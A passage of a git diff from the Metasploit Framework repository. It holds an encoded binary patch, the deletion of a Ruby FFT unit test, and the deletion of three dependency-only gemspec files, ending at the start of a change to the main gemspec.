zAEmhZVSL0@^nJ&yv`v6aS+Bk44^9Yf&>Yvzy>EU_#Oxn_)_fP{yK(f{i^5{Em*j5N zqibJlP1aQE-be60L=j}popAMhX$<RgEL}h3j{1jH_R^-Z=RX(mxm|Z@y|tIWFMmJ* z-Bh@Rk?}_Xe`LM5GdhFA#vf}qPiQR88=R-7@sWs)KkDb<afC8W%>9bq<;Uh$*32-2 zdCG*vdhkcg+6*{7g*rZ@c&y`mVcpVYqvZdG=K_E1K#}6TgE-yt6!l{8<W-SZ-A1`1 zCnY`5>EZdKfIlh}nfiaU3+C*C@#(<c_`vcH^#X*4n#x&f{E;5;<U5%?DebVry766= zC6=G&@(-T8W=GjWFZxt6JQcoOgT(65!%ybzvaXhPrTfq<Eq|28df{Pq9(g?$+$HF- z8Lam`{J~Sj!TJdYtH!Cw(L^XB_D%kn;}XR9%$!nVJysDn0c1c8qA?s2E9&-+!Ss3f z0*MRw<AsuU{DGgWJKzd;ZjJQ{dtY#F=bM%Iy)@Pf4}s^8;I^Uyg2x3GYo2?;PX6L1 z#A}gWo|2U)+s>be*<s>C{xrpD1gl!)Ea-L{^u}o7*f~6wSH$EM>d~_&-)iFIcG6&< zvOTdLnz#~*XkNh2Jw`V7m>xpcH)i}%Q!gT0zL^<I%-}rD&HqNm<mTpAI9rq63}%_& z)@trCm+J=ml<-ITxIehgRq&^sd#wDljjgruM@%%Dd*q2YB`=SY&X7;+_NL}@C5k_N zoSTx5<UJaTDr&OLW9Zp7rUNU7^;Y=r;*VK(M<yyi=oKri_dTxQyvnjb<sWfp10L!- zm;0C>Vt=Tg>72B+DO?2|{z&NcssE(peRcE_HAviV-pk_rD|O+3#1lC|&5lzo+N#MR zzZqmw%<RlPQL8V3`=D>sn>RWa?B^X*A$kH8SRA02s@tTG0-|T27V8;*5INnHR0u5U zgR6g7t(KE;akrI!;LNUV+9qoGqX3EJg|Y^6aLsq-Zv@lmQnfwD^Ye3$migcar;i~H zR!#MGeyqTVPw+LJgS9o}Sim3L>qgZk@%)k8Zn!I%9pbVk>K`!}RC5!;%wd}4ACYB4 zzDLh>*BBDV_{pno;am*QAG*D1ih?Sov87cFBU7@+>WV)qD)%dtyx{<TPxvgv#ZzY& zYX+UOMg=70XA6JK$n`QD8Sn}uXLpgkaQ6UFmsk8z>xni|`)CUETqsT4ATfD<3=$6- zCEt9mQBanDl<*OMGn$1x*JF?9x2kWLTyND$;E%O3jl+_4o)Yu7XtxOdnB%#nKA##N z18S5(KU4Mse-!-rgj2D1^={)2eh+gd>%+t$v12ovqM7xE&QrNKL3C>EZ}{7kS=$6* zfs(K2t*uo_F#afE(HQ>t+G-eZjcEjsrZ=bmXH0xk_QCL^n;(C}fxVua&)GRVhXd-U zW2|QirGP&&b-U?_I{(+|{-yV&BDraf_5QPx2Z@<-5Q<m@ke!5YkT8K>U-3r?>(xx# zH2jgE$Jig;Vdp2*kMe!Fgnz>UK*OMv3z#~`3u4!L{urK=DHhhj%WvRZWOoa4v--u{ zJWrmxq_l=UYI&S^D)gzms7IDy-@)E+5?#9;RtI7o$UivYR+X)B&bZ~Hmzj5xfL+vp zz_kfKn)D~f2Jhsz{GGmwt(dyykML=DT!Lv)%O9NQ`w@yDb<>)r<YTGEM<xxMKF9V} zKTX@jEzk6&_)$<5Cm?G1qX5%N_FV4ygV?Dh)Xykg<By6wW7FM$Z6A>}=^bugk~0yp z=MO44@JFa#COKH}M+p0HpR@T*1*-$%+Y^0FG^OKe<wO5b$w&0)p`h>s>^yp&p*A5D zkrM=e6u6HCvv~c^@|arw5nHyFG66C_{Y_Pa?xH&)qgykD{tACZZ$(?cd3p*UTYuKW z8FH+roXhivSMs_Y%xYTvE_^AvE}bU!9fO>p2TruBM`~ZID+nZ>x=E3ytATUN=Z+x0 z@A)fm-6Epqq?}SQmsRG#W4xfb=Z}z`fxn0%D&UWA$VuQIX?Zdb{^^fU@~pMh1xw4z zc~;zDlGzg_YSqteZbi4k@+?{;j?r^tIzx(gqP89>bRe@t$;ZmT+qxyHypuT1!Z`t# z?kj5G73;+c!yh>)P~)DgU^vY^Qkz1r4Z-6zTKN@ok1Je);4T4Mg8Srl#~j8I)?;T~ zH0<NlN6k4iuY^^H&1&l6_T){;#~`tkeAMuVRZ(?&(^MI_Q>&)2OM1Mi$hZ6vsn!JF zMrYwbPQ{=m=KW!RR5e=F1TqsGw<Y|c{9{73Z-$~KW~)SG;5Z#|T5Eb?W7lzOS<Zre z7&%OnLZ{np)Z2<b8c*ea_%zct)Y9JiT)@nCYJXp;stu<$2Gh7BicY4;_#-0k35c3^ z6A)Pq<E2&s(apikw;1Q4FrPzya=uLgvQ+k`3#<C*New|_7d6k+?#qu+@`LVGG}dum z^|r1v#PNr{c^3tS9}qbw$oFD!j?bI`;}5=>v0nZ>qmmG`9%Vw-v;v96Z(|r_dtBfL z{X*UG2eRosd0vY5S^NBB%p6|;>qS&;_+8{p!5#jKkl5w#(ggqH$>XV1*GT+d(YqCu zy}YUE`X2B4k(;1hEzKz?RUG{L9>E)(6BJAQkTdrPH+w(0y3P7KeEDC9aLSJ=W9mA_ zA3!PNA+v8%?=z=5r6_r~zasA@RCgQoOEvxPu5S!a{_lT6;^cOQCtvE6$q&#h1xUPd z{Q(#LpdzpAk?+^?M^4lkPk97#C3x?N%}kW=hvrsv^P}e7Hk}=n|F5`jdT8E8X+5bW z)srdwQJIHcsDh4j6QN^Jp{UDigiRm0M-L9>G&)Q}&&g8>8|*X0j(?9IhIVej1u}y| zULp5irgTf^zJdYjzyLMVnoH1Y)~n!;L2uLzaf37i^8NW!l=7gvp@u#n|JW1t8f4)- z|BFBC`GebVh??C&pBKN0-xAz1$?7TuVm+HjQFWC4+4OkZv`upD2eeU3g$6BuxTqJM z?J>XNkNPn@jH%zwI}`Y0Le3=4`<7LfP6i+NHtbvD4{1EO8rLoM{86Ih@l>QPSsT{z zzgcg(rRigDqIR=CD0z7*oLHyiy&o_FiA$kK+sh~2N2c!QR*C_ufzyjpIOWgmI{1U% ziIx|Cyg5^m>1b|Vp4$QaCd^pg>^c*)d`1S6v3F+OU(Vo%o)i^yew5)paighrh_N0~ z<D>?>-yv-}1`UZz-0dyXHpQjK!c^$0>1y!40VfS4{;J7&rL$l?MXh^kz+vmcOrP@S zAzY!mx<92$vzeRUqLq^~Q%&X)1osL4RYDz`9t$~~WKFSkftFNR*5qdF5Z5&$tis`$ zG;7#uVm@gT=tYCrhJ9IY2#T-<%0KLV!7&|O+^gS9+Fm4ncYoA<bDp;Rk;BwmvL^9| z^W3JW{3ZFv5>^@FZ*oHKdHz(gi5n$9JhIj}|FP@1MaggRRD#Rgqpcwoi)$sXosE(o z!ykoHp*Hsz;bPdig^x<(58`Lf@gDgr{>bh!qW;<QM@|N^C+5v*W_h&c=J)VQ%1{2h zg+G{!B5NY%zt|7;_f=<oWOwmf`YnH`!rUUUP0>V`KF4-$r9{a;*gZ&vt2S{03OWm2 zM^_2=$I2dU+Mn#v_#<MiSZTZ<z3*{;S`r_cmwga`6u)xv0<sd&1rD!${xN1oDC=cp zP3$d~;oeEfvqP>rIbwP&J~bqc9Hx0C&&|4xC*LA*WlFwiD}V)PV>g(ndS#u8{LQTO z{Ir0%i1w~hMh_M*I`4pA)6<w5$bhcn&&fWP_-?^@eGEah@Dbj@zp8P9gv6C~@D}Dq zC)B%{d~i`Wt^-ccf4)m9e2S&y8~y-^$3kLXZDs$n)){k;ThAYMx|QqUoYgmuKN2`E z19NLMo90#`cJfys8{SH1f%asrkLhzx%rOj7TJ@b7v>v<q-J<1>fE!Fw@q$i|DfALg z{_W~$gr`!!HTTF`KCF)pZ9sKl4L)9VyF<yd4q$0%bMrM(+jNp4Zq=I*^ORn<AKAs< zk~7ud+KLQB{1Kw@IA`V~mBt@6SvhqxV?9;{{?Knp@TEX|MeX>*ZorzqrQ{>|#Ft4! z@duyN+~eQ{e<<ofcS>JqY}KNes!a~-Y3?zFDOO!MSVK5ZbMxQg)Az|rMxH+=sHNBE zy=6^ABnONArMZ=fv7Xk3)uB5rb8jnhn%JTd5)ZY8P7}NQgU*l{NX#?SskL6d`1cqj z4qN_+#Qj7)>T+w2@duy&H!Dp>KSaq(N6_8g(Os3An-_n`bsO~(lt*=&z#j|dFs3}I zQm&il4>ZQfxV2$D<Bx%PD&-4LB?SATEB+|ZX*1WO=kgD`IlH76<I5)J<(w4eFTlOz z5aN&gAp{55ABQQZ_Ay=lpP0&=N@s!_6P!4(1<nJ5;g1Y$y2NSBEo+MXX|5lpM|+~J z*5yoc1D4h>Zj`)kKf~Q#bdpBNi>sM?q!SGXx5No@{J~m)4&S0#0?!|y={>3s=WGdo zq~ssOj+$SSHR&EVcXP1NZV7*^L1-#u-HJ+f<oToG29r6M1`=DxZHY@JMX&>jd6H7P z#tQ|}Y~{U3If$!GU54DF7dR(K{+0Ua!L-+$+XmTVYSATb2i4K87$6b@*xciYr#w8d z+Hgb-=dDrm2@xkC#t>g6l$y8yLKpJQfUK!d2NwQU1k=+isk4kHS$h5`QSx<z#4c)6 z@>KSmr{be7f7iPS0@p2VpJT1b!135sBQySB_p{dd)8aH@wF20d^|}vW+fnypDxu5c zkTsQqrMY>%Z(dzl!($D9gvvn30=LJ{z(ZC?uAAi_$=$AtpWLvX^RM7w-gS#6F1+K) zi6okz&-t~Ir?ar8vKOds>G=b^LHB`u)PdL|>^RnfX9ovZzE*ku2ySQKz(>qIPFdIK zNy_45vX8Iu07mDny7SoYHT)40_xPy0k~7!A+f+00_EP0$PBq$Xulb`@_S&cq=FBc_ z+NN}VfMHtvu$Ky@Dixts`IM>E)MbyR4_R?gDSz4@*LupJKz7Rx?JdZfxc!~oAYb#7 zn>~to(TS;wB(~dm`o<se1H16RU6-&PE3K-HIX4w=iOC%jd#zjkp2KFrTb@dAKeisd zxJ7K%@!!Ma4Bb~4+C-`mGb5xu7hcV+uwp#rk8cLX9|3;PqN}-iy>I>-T+I?(n~{O+ zQ2Dwq6ijojo2n<wt>khV#nt9F@jR&=XSb}O)5PsOqu%$JiGv$Y#VUI<Dtqz2OUI7p z-3y6hoFG;~^$*8KcQg1Se2zVT#LPYBM9n;-#kRr0ay`7SU=Vln{H|LGjrl&i&W~_4 zt7ujKSapB82Bs%4#Cqx?RpPV{@5o|wdYUz~>gf97sWklY7jj|e2e@Zq)0#Qm(wxV3 zW;L=2;lqj3ME=2dqyiGcAN%7gD*QNX?1JWf^E)s@uG<bRubsmW{K4JQM|P~3-uNR{ zx58;c)KSYH5gfcykDlAtLI*?Qyy?;N-O{Wi*f&PWvr|3mmF64h29wBD3N34@Za3Z6 z<ZHQ|r<$sN2(Ar@@NcNK&rn0rdBGVJe`xLzZ0Qm6U2vZnf7C=BdN(?@)0{sH>G4+7 zpo90?3+tBViCiNwe!vSqSvS<<PN=d6hZ=wM)msY^lh1qpU@a_bT6B3g0sJBCN}ocj zpu4$8;Tmr7aZCoX1@EZx-mGxlvb(}Cu_6!HbcVt-Wle4V0s7rk4%0ls7B+3;k+@Np zD0#b!P&{M&!CKRw{Ga9?SFnH8WDsb1G6;}(NKT&{OW?_}s+yaB1!9a(Q*h1w7cux3 zuwLL?H!%p6gc04+sZ9{_OkLkG{6TH?61C0#1XM@Ew~#obPbIr_OWU+&b(?G2M%@bJ zAL5UaoOet&Qe|w*KDkfek4g7aDxve^mh~JTxA3(3R(@n>%!xTXu=+fOoXpjb#j+-z zlJQ4&H|mk!UgjP(YhX&A(<3BSS1I{Ngs1ZPTXT;wN?w&cPT3WI1n9oh)qy;J#GLQ# zk@^n5Ik?x(Oe||6$1(m;*Kq>2eaX)U^db*o@Q`y_d;ZuTU=>)8-_y>`SJcQtIj&AM z+WWdv>Ke%fiLDEvqT@WgeoKtiBj?ARkhtZK!jO23W{I`uZ0-?+cv_SB?6fz*fZ#Uh zZ@{&`(d~9P@taV_CC<eH?*iRM)>Koqas0ubrIMftbau7JpvascZlO|-_mx)?KWq(& zi_6>!dTxLpz_)WMRIJB2TjHryI=8GgPsB9#!tFWpayXUNIXq|XaUk~{ysdhh?#3$U z!eZQPtAMQFk6AbDydvuKIaK~42a7+QJ`c_VaWz>JC&&0BAsfn@s9j!xCr@4h2lM1z z-?7a-?iv-^@=QrRl8IOAJ8u5I>~7PA{hxFAqlC9&yrA@X$=u@<|7yq21kMv0%R6>A z&#&zJ1mvwd@>bT`xo&&Dv-KShb(S4VX>F{M;C!i4YptlQI-1j`!ntWXL-?er(2`Tu zcSx-JS;)X|%n2%3?Z|pIvb#ZVb_M~AKUguaI45fQZBY@c&b+fl&!ZXG9V66GN}d<= z19nbA{;}!iM4hVEWc<M{qg!D}m4zKbC*VP>hZDq;r$Rt9E^0J!X`Tveco((x$U>OL z+&uf$RT511#k^C5xqVd<q*>sPNd9yWO$^`iS)b3RuwKOOUEch|94so1r@bNFXE(${ z)h59u$l#Bv*GHe^uwL1^3G9)>-jF!5swZ)i4F$~pu=ks38|M>SX9!WWRaBz3H@BBB z-Hs<_1EpEaRgY9_BI-|!KT?!$_*6gD&toE-fNPrPc60Mv9HKS+fhLBj1J579ebyh~ zG_uw&ly|M%>}qZ$g3T&C`BX@(9rFM9$J}ixd7g=Lg2Z|#sN5-epBa?eAt3Rn%im}Y zRAgDxrpx*A{E_2ejgMozl^Oe(dN~Szd8mD6GCt{jkCk;`@x9@X3id(Ci>uXLVEmyc z`lhK6i1pOn&jh;OG8Q+Uil4S={eUJ<;d4`)H)D@D7G=-XkLx2H`aWALq!Rk8?pK~a z*0!SRbo<sSO&Kw#%9)HmYIgh2R(-ec{4Q%mt!mP<H$IUyaeh?)pgNRZvzdR>jyle3 zyca&@xLTOTw9Uk!h^wX9x!s`TbKmn9%XK5_IW-LNN98l)syFI>!EIMll!V*6Kca}f zfIntrO>1Ii-@qU#`N!6J2EZWGRRz4q_wN4<O<cODseceR*^qoGo<*yP3-770UtRv; zJ40MoL*(z<i!AEJ)!bvL3OdseQ!<~8@keDSFu-;Dj9fz=h5DqI^kB{5j~v`U@vzSI z0|+5?ildLJ>IN=rviu{$C8NhoilE^SW3!>y?1iUN*t8AbuH}!CdZfJ2%=jbn9!+w; zlPBNKt(0=zo`%O?&&od%_#?2n`P%yNTs1oGaJq1bCUBvueYtaFj6d>+@ELD|s98n1 zZk|8X>l3S1>v@5vN;D%l_`)BoA~%?9FW4v6qaK+))8}aX!AVpHmd!n)LOp-*Y{+|R z)|w~ZnVGjnd{zNb@8b_t{pD+cFjmnSq2#y6(EfCcgT;5|N$suP9my-SzA<*mJv|zi zXn699CbV}G6hdO<ANJ<m4D8FDGb?}2rZsDMp?+?Km~rs}Jk#&a=@ozE@W=e9xyJ=A z<_ZT(ca25xM?wdrz6(3PpZJ|4{;1{IscK_$D>eO6xVqwM&mTl@Z*G4JiBa<TO>$L_ z<U4}IWIm0O=LD2m>!*WGfS+4o4d^tP_5KQf)U6+!lQpf0TKth;&CO5IL?4iyPKY_U z%V3ZS{+M>A!Zi4Um@WT^@i^Cp#1^&HY6~g^IQlQ#?eh2h@s)Y<(Ul8c-ST!Pmw_AF zu#^6%AL-EVCT&%=fIlX^uTb)}PSj%!2IRPIWB5aJ^WUE3Ti~?tGe<4|9sUUV6<R*R zlL_uC@{c)Dvt#MN;;B33O_e3kK9u6IN<slIe9aoh4H9d|;s<Ol(>5SBXN_qaJZdQ@ z>pL!$HT{u;#Q1Z@9}$)0;y$~b^w1K<A0Zh?2paE?%0|CqS7>g2dkD!u<ZKO3njozD zmAoMHuaqe!(!?m4xaE(Uj`K>r+b(KpVw5~5f+}jiMPlNy9zFgh?Ie9Wyq5}hVu=$J z8-K*EgZFVuw{*hqjlA0z-0r%(!w#lcn<J>4$#uG^Q(+6|rDTDr<sW0Zr9lVvy215@ z>gV@WkN1uewOgA$JrU(T#F-78FJ<}1fzGOg>L{NR5{o~?dT8SDab-%LsL5s7*Y73w z6V7d@+5{ChK10@&KMqmySuZ31NN`pwwEPT3CWmcJ#xy?3!Fq??{4w`~%yHdVeH2p- zf224;uUKn)QtuY;@q<FiY}!Uqvx=_o7_WVOt>m?exZ4x_<hVg%#~)zd&T3?ZDJVr9 zfW&wzmZ@`6;15N;KRm#<NuRh;W0`eeeF;}orwzK|8|u+DdS1>2y^qXN<i;N*{E>n! zJGm3qjZYk4P-OM))FH9gx+O|}eVD!FZWm0^jGM}y*UlwKTna@DZP*_+OEDsQ3^glt zsU<({58u*vJb^zl_+!!=bwegp<ie_&pcxSKJ^V56fGnKR8bw{Ub1VDfpc^RHbNpdh z&PcOAjVAU8n>W=_Kld0(&ruz1vCkBL31V~8fX_czY5u+hB>w))@3s7+w7jQ=^&<Lz zCh*6oM}E}l(-r*&?e@m1{u3%7RgYc6xA~HZYW7FlH4q!q)5YmoDw2N%fAB=r>(j8F zIYIRkF2+U43mvR8B)xRISq2_Hp+Y@>6z><*64<xBkLc@ht5s69Ngu=KG4)&V#|{RG z(Glus8i5wvad$I;KQj0uApaQj*eT>(vG35}Ow*T`9;l*96JPO1(BIR~Qoc~~>QiAS zxtgx|0R`Ci>$z4>kendnkC+)DRpbMA*Qj+WR&=v|i3e3%{t-WfoG0nX-HEA5^5-wD zA7p+SpM)CpNp#3Q!Q$*Lvs1e0ESmjg{6XB*yZsYY)bI!E<KGt?H<+dg!rw#u<Nzff zwfqsGiJ4+;d;?RfF%|jYNtz|H{DaTKdR1@D-V6`vQx1QmPpM(<i0tE66os4>P=lZ4 zQSW<1R~fcM@JDqQ+_HZx>eBN^Eaj~`X&e$8!s^slw?DCl<#p858FBZVi(!iYKvt;R zo9b(f6ze^#rCAJ1Bb0b#tk<Wzd<#c}{D>#E)MqBBAeS?NYh)nsFTC=@dDlsB-G~|f zC@kmt_RJYKyzl$DmHe?#pUO3V3^IGuPJBUPKY>1K`~YLU0!$mp4|p;67(R|s@`3%{ zg4Igy6S^e!H#_5xl*q=%A!s~<^VF%Zhx791+VjU8jW>Yx63yCJ{!!c~{f`=#4A-p> zf5c28@po8-+1v?OuP{%AHEcW;L*kMiy~!1SM6h0QKR|_sSNsvv6|_E}5<Gtd_rV?6 zcXvy!F@-<YL|hQD_~QdQLfFkmDUX~CBsKmR(fz9@Ma;$@1)ZzvmjcsT{s8m26?XF{ zB<A-xPyR(`2%fyV`Ly*7CcU}mkMf`FH=6)ig2W5UKN3z;1$qtO>hIu>6&c8k9+r{} zWNiFFehPo2xCHC~@g7QkgFfLYwR4XdieN28ps4-aiq>$`DXyk%B9J)fuP@peBrch@ zsr7~|xr(lD%rLU*y@LJu8;w8sUoxNNAvrHRe<W1>XWh7?`<W8<@eNg`MQ7BVb#Zra zf~K6&&{wic{Hy%Ql)Q31IXB>agd(8sqdKFDy5)tJ(>9SIafXuT+j+;R#CvJq+>Res z(7_wo`yPKihX+tn{*@dovZnPRI1k|u^5Nc&=%$^2Fj1j9k5p$G;A&+sh}bYE>YS`8 zb`=o5bIqxs$NR<Hqm(@CsA!zx(Hi1ze}0oWCGYYNtL%N(sL-~nI>!qQ;18mGpO|62 z;y&Qb+IzoRM2_nw)~oPO7UXnfbvRh+XbSkD+v;X#&mbWGkn-rGi8+b%y0N#kzsMCq z@|%FDIbF67`M)T6ZbG=$#OA3;$ro=S@mE6P3xDX_QBfIq{^0MTcBQCG%Y0a`2Y%y2 z_>{wX8@k<e?@G>zOVF9q)0`dsGdCBYg3(Ljj|`Q!>Bwp1+5ZtUx5AHg9&sz|m21uV zkPZEG4qs?u&Jf+w$)!in{ABf)<<1K=-4~l$orA=c)`9cQivOj$3;JU+pV0UN9C!+! zmtgVX^b<Sy7j^|xV#lfR$Ku4@7Vt-cx4|j84?x5j{%EeK<+_o75DR`2d0`W^SLg|I z^Yz73QI2Y!$_(r)E{Y%Rym3n2&pq;~ef}^$PCJ#{LSZQkkidE&>$N?kAa2b%r-$V+ z!wq^(#7zZ+^Je^^yDb9ex>^1a!1S;gQL{JjoBF@SuvE(YRG=9lmsi*tO3ByPp1f7| zmWF+W^EmBu#r+0P#a2Q7mHmD7!}h?etsH9A{dMyrT@s<qJ+2QaKYP}B1?TB~^NM*0 z7Ki@(NaO7~S-+CLWNsz;OLCvl?G{>=6JO0elHsZ|y@}daNBP{9l8^CJQYw2Ov7)wK zaQ3X;>vhVl`+;?^tf@w6@qXoQLjF;Zfw0p3U3b{|+W2Eh2Er<ln|{dod&AzCA49M> zhdua*d^<a>>`4)^=Z}mVu;2wSjg^-E`i=cfUNLcOCgtEeK4$pI@t-<Fq~s%Cw*>j{ z4Jwp;?kj~Qt{Xd!8U}CKweu9f9|0>pg7v<GmlrUI`lOe12Ms$Vx^sR4Td3L)ljR>N z-CK$}!gVWDLB|70?gplb%a%V_A1VaQ5?%UKR3k&r%`ZycyWlxp4WNzZkK(_y)&VyW z`}6I3k#N;hkl67@)#q8G<`?t^>3zZSkH4gAYzKn~?>-~jX3xCEA9SW`$AX-Z@rRT= zKGzk0uov-Ea3mWf{=as=5z{u_PZnZ3)??Zxup6+5R{j;N7s38y;D=BZPUDY~41)bn zPs)TmgH`S=h)y>LtLm@2Vm9E~jQ=w0DQ}&FEUdK6J;vlO>Erf54sNq}#Qfh{n}W6B z+g<Vs?GdJJ==HgJ-{S#4Ah`Rh^(V8Fj6e8xmVr-PN0;#jt3l3-CZ>kL6aH68)ux7R z*N1{is2F*K=QcE+o{)jSNW=`5_p3hp2L51G$@T0zU-1WTn;`1K^G9S#o{n>e#C~oi zM#-;qkDfev?Q4(3dE*4R{6pW4S{m4?I?&bJe5@V|@hv+ur)rZv50Ay^SNg{K?A*`T z83)*7eyUDC!r%+Mpo9uY0)LP<bptSsXHV4z_RzVY8wQSSqLzPU6@vDinckh?vk&`Y zB^BzcsC?2~46v_p%XP;MNW4FQO6E_qJ8bST=`(p{{K0-E1F4x1TEo>pvKwyblXi3S z^Wze?<y$5|Mm<)!<&RaDDSjz$^FT_6K`8kOg<f2+3WtXZ!CQApmH(PH*yr<)Vo==A zQ1YB>&mZ6#6Cmru9v&^=j{+<$?2TKC4xLtH$2I(sl4(p0*>r!YDj;(_qR{wbeSF0k z&3cvc7iA#)>558~qUP`ZXK8p}vNl69%E(2ndcIfkeC|rgvx+u>{`TiaC@6N^)!!H6 zK5`TB6@OH?l=BX~cgLlVO=~)UJ>1;<6f91kbG}cFhY0e)dX?+I5^LUTZe{7B_H&P{ zQsb#OHq)Hd`vsLf*6_j~Hf<AveLT1KBI6JD?J{m6<^)KwIPN#4MW?yvkAkXAa69OY zJKr0BOvymTs2}wQeaPO}kdveb;%)h3ewua?vZmr{?$IG}{IZk7ItFcrc>XBRb7PRW zZ0nJI!@j@Y@Z{XwqiPApADmm|sAv{`elN*T>*qk35BYpT*KuO5Tc4^yW#{d1dc$4E zTRVj}Oc2_>dCYzO5kBvaDO}C|@TZwr?iSs(kl0l{HMfG3T3_yxGIRj_-p#0v))yDU zV;?uMDYF)<TeX!v+jp9U)wa3E64t|=;|7ySF9W;yLCvplR(>-6kmok+tUTU*0uryq z)DJNZR%v+vPva)JQr?{B`&n-#MWCoX!j>p`w}!-GQAZ%L^8;e}0rt7RM`E4Z=xXjU zphs_eNIicLJ6ThBSkYZRA^#9dtcba}?N}9bd=!`k_o_F6!O6DGM~d6I$K~NuqApz4 zr24t>$H?4?ChES`$jA=l7`dpKTPg69*Oy5VSWi*cVBesZ=$#@Bi^6)L`a-YRHU-t@ zr;m(3CU|b@8skn9{1wg3FFGr_ne-GgGS?}{61wj!rYHX>dE*ne8JJ5}*xX7a{@`sz zp?bWvhUzJ`Zt1c0=<zA7wV$?0n{H|A8!P#C@x$;45*vRIx6M6Pyf1j{@-^F;tn~Ai zsC6^UkSddU^SEaLMWi`iF?a<QSLWCz{R!P$Af9#bmc}0?PEe&Pi=HU^kQJ2wd&lif zI`eJCF2<Q1s?X6Wd9j{mE^xQ^2X>pQw%P<p$&{RROG{}f|FF5ojWQp!O=>9c{{aYN B1;_vZ diff --git a/external/ruby-kissfft/tests/test_kissfft.rb b/external/ruby-kissfft/tests/test_kissfft.rb deleted file mode 100755 index 12fe8dd4c0..0000000000 --- a/external/ruby-kissfft/tests/test_kissfft.rb +++ /dev/null @@ -1,47 +0,0 @@ -#!/usr/bin/ruby - -base = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__ -$:.unshift(File.join(File.dirname(base))) - -require 'test/unit' -require 'kissfft' -require 'pp' - -# -# Simple unit test -# - -class KissFFT::UnitTest < Test::Unit::TestCase - def test_version - assert_equal(String, KissFFT.version.class) - puts "KissFFT version: #{KissFFT.version}" - end - def test_fftr - data = File.read('sample.data').unpack('s*') - - min = 1 - res = KissFFT.fftr(8192, 8000, 1, data) - - tones = {} - res.each do |x| - rank = x.sort{|a,b| a[1].to_i <=> b[1].to_i }.reverse - rank[0..10].each do |t| - f = t[0].round - p = t[1].round - next if f == 0 - next if p < min - tones[ f ] ||= [] - tones[ f ] << t - end - end - - tones.keys.sort.each do |t| - next if tones[t].length < 2 - puts "#{t}hz" - tones[t].each do |x| - puts "\t#{x[0]}hz @ #{x[1]}" - end - end - - end -end diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec deleted file mode 100644 index c58aad66dc..0000000000 --- a/metasploit-framework-db.gemspec +++ /dev/null @@ -1,39 +0,0 @@ -# coding: utf-8 - -# During build, the Gemfile is temporarily moved and -# we must manually define the project root -if ENV['MSF_ROOT'] - lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) -else - # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers - # require realpaths. - lib = File.realpath(File.expand_path('../lib', __FILE__)) -end - -$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) -require 'metasploit/framework/version' -require 'metasploit/framework/rails_version_constraint' - -Gem::Specification.new do |spec| - spec.name = 'metasploit-framework-db' - spec.version = Metasploit::Framework::GEM_VERSION - spec.authors = ['Metasploit Hackers'] - spec.email = ['metasploit-hackers@lists.sourceforge.net'] - spec.summary = 'metasploit-framework Database dependencies' - spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework' - spec.homepage = 'https://www.metasploit.com' - spec.license = 'BSD-3-clause' - - # no files, just dependencies - spec.files = [] - - spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION - # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '1.0.1' - # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '1.2.9' - # depend on metasploit-framewrok as the optional gems are useless with the actual code - spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" - # Needed for module caching in Mdm::ModuleDetails - spec.add_runtime_dependency 'pg', '>= 0.11' -end diff --git a/metasploit-framework-full.gemspec b/metasploit-framework-full.gemspec deleted file mode 100644 index f3596ec32f..0000000000 --- a/metasploit-framework-full.gemspec +++ /dev/null @@ -1,36 +0,0 @@ -# coding: utf-8 - -# During build, the Gemfile is temporarily moved and -# we must manually define the project root -if ENV['MSF_ROOT'] - lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) -else - # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers - # require realpaths. - lib = File.realpath(File.expand_path('../lib', __FILE__)) -end - -$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) -require 'metasploit/framework/version' -require 'metasploit/framework/rails_version_constraint' - -Gem::Specification.new do |spec| - spec.name = 'metasploit-framework-full' - spec.version = Metasploit::Framework::GEM_VERSION - spec.authors = ['Metasploit Hackers'] - spec.email = ['metasploit-hackers@lists.sourceforge.net'] - spec.summary = 'metasploit-framework with all optional dependencies' - spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework' - spec.homepage = 'https://www.metasploit.com' - spec.license = 'BSD-3-clause' - - # no files, just dependencies - spec.files = [] - - metasploit_framework_version_constraint = "= #{spec.version}" - - spec.add_runtime_dependency 'rails', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION - spec.add_runtime_dependency 'metasploit-framework', metasploit_framework_version_constraint - spec.add_runtime_dependency 'metasploit-framework-db', metasploit_framework_version_constraint - spec.add_runtime_dependency 'metasploit-framework-pcap', metasploit_framework_version_constraint -end diff --git a/metasploit-framework-pcap.gemspec b/metasploit-framework-pcap.gemspec deleted file mode 100644 index d00e9720ce..0000000000 --- a/metasploit-framework-pcap.gemspec +++ /dev/null @@ -1,35 +0,0 @@ -# coding: utf-8 - -# During build, the Gemfile is temporarily moved and -# we must manually define the project root -if ENV['MSF_ROOT'] - lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) -else - # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers - # require realpaths. - lib = File.realpath(File.expand_path('../lib', __FILE__)) -end - -$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) -require 'metasploit/framework/version' - -Gem::Specification.new do |spec| - spec.name = 'metasploit-framework-pcap' - spec.version = Metasploit::Framework::GEM_VERSION - spec.authors = ['Metasploit Hackers'] - spec.email = ['metasploit-hackers@lists.sourceforge.net'] - spec.summary = 'metasploit-framework packet capture dependencies' - spec.description = 'Gems needed to capture packets in metasploit-framework' - spec.homepage = 'https://www.metasploit.com' - spec.license = 'BSD-3-clause' - - # no files, just dependencies - spec.files = [] - - # depend on metasploit-framewrok as the optional gems are useless with the actual code - spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" - # get list of network interfaces, like eth* from OS. - spec.add_runtime_dependency 'network_interface', '~> 0.0.1' - # For sniffer and raw socket modules - spec.add_runtime_dependency 'pcaprub' -end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 2cd9c6bbb7..42ecd12018 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -44,7 